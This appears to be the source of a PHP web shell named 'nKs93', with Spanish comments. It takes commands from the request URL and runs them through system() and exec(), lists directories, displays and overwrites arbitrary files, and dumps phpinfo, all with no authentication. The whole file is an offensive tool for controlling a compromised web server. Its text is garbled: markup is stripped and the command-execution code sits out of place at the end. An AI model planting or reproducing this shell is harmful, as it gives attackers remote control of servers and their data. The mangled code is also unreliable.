/* -:: Name: nKs93 -:: Version: 1 -:: Author: nobuK -:: Website: http://nobuKlog.blogspot.com */ ?> // Some CSS stuff... ?> /* ---------------------------- */ /* Functions */ // Index Function - Muestra el index function _index() { echo "
"; echo "Info
"; echo $_SERVER["SERVER_SOFTWARE"]."
"; } //Edit Function - Edita archivos function _edit($ua) { if (isset($_POST['file'])) { $ar = fopen(urldecode($ua), "w+"); fwrite($ar,$_POST['file']); fclose($ar); echo "File ".urldecode($ua)." was saved"; } echo ""; } // View function - Subraya un archivo function _view($ua) { $f = urldecode($ua); highlight_file($f); } // Header Function - Muestra el header function _header() { echo " ! nKs93
Index - Dir - Command execution - PhpInfo
"; } // Footer Function - Muestra el footer function _footer() { echo "
Version 1 - Developed by nobuK - http://nobuKlog.blogspot.com - Visit my site for new versions
"; } // Dir Function - Muestra archivos y carpetas function _dir($ua) { echo " "; echo "
"; exec('cd '.urldecode($ua).' & dir /B',$rarray); echo " Filename Type Action "; echo " "; foreach ( $rarray as $v ) { $exploded = explode('.',$v); $count = count($exploded); if ($count == 1) { $type = "Folder"; } else { $type = strtoupper($exploded[$count-1])." File"; } if ($type != 'Folder') { if (file_exists(urldecode($ua.$v))==true) { echo " .. Folder Dir "; } else { echo " $v $type View - Edit "; } } else { echo " $v $type Dir "; } } echo " $v $type Dir "; } echo ""; // Command Function - Ejecuta comandos del sistema function _command($ua) { echo "
"; echo ""; echo "Result of \"".urldecode($ua)."\" "; } // PhpInfo Function - Muestra phpinfo() function _phpinfo() { phpinfo(); } /* Reading commands */ // Print header _header(); //Coje la URL, dividela y coge la accion que se pide $urir = $_SERVER['REQUEST_URI']; $uri = str_replace('+',' ', $urir); $uriarray = explode(';',$uri); $uriarray_f = explode('?',$uriarray[0]); $cread = 'no'; // Si la accion es view... if ($uriarray_f[1] == 'view') { // ... mostramos el archivo _view($uriarray[1]); $cread = 'si'; } // Si la accion es command... if ($uriarray_f[1] == 'command') { // ... llamamos a la funcion _command con el comando que se ha puesto _command($uriarray[1]); $cread = 'si'; } // Si la accion es dir... if ($uriarray_f[1] == 'dir') { // ... llama a la funcion _dir con la ruta que se ha puesto _dir($uriarray[1]); $cread = 'si'; } // Si la accion es phpinfo... if ($uriarray_f[1] == 'phpinfo') { // ... llama a la funcion _phpinfo _phpinfo(); $cread = 'si'; } // Si la accion es edit... if ($uriarray_f[1] == 'edit') { // ... llama a la funcion _edit con el archivo que se ha puesto _edit($uriarray[1]); $cread = 'si'; } // si se ha identificado un comando se cambia el valor de $cread por 'si' // si no se ha identificado ninguno se cambia el valor de $cread por 'si' // si $cread es no... if ($cread == 'no') { // ... muestra el index _index(); } // Muestra el footer _footer(); ?>
"; system(urldecode($ua),$rarray); $scr_name = $_SERVER['REQUEST_URI']; $cmd = explode(';',$scr_name); echo "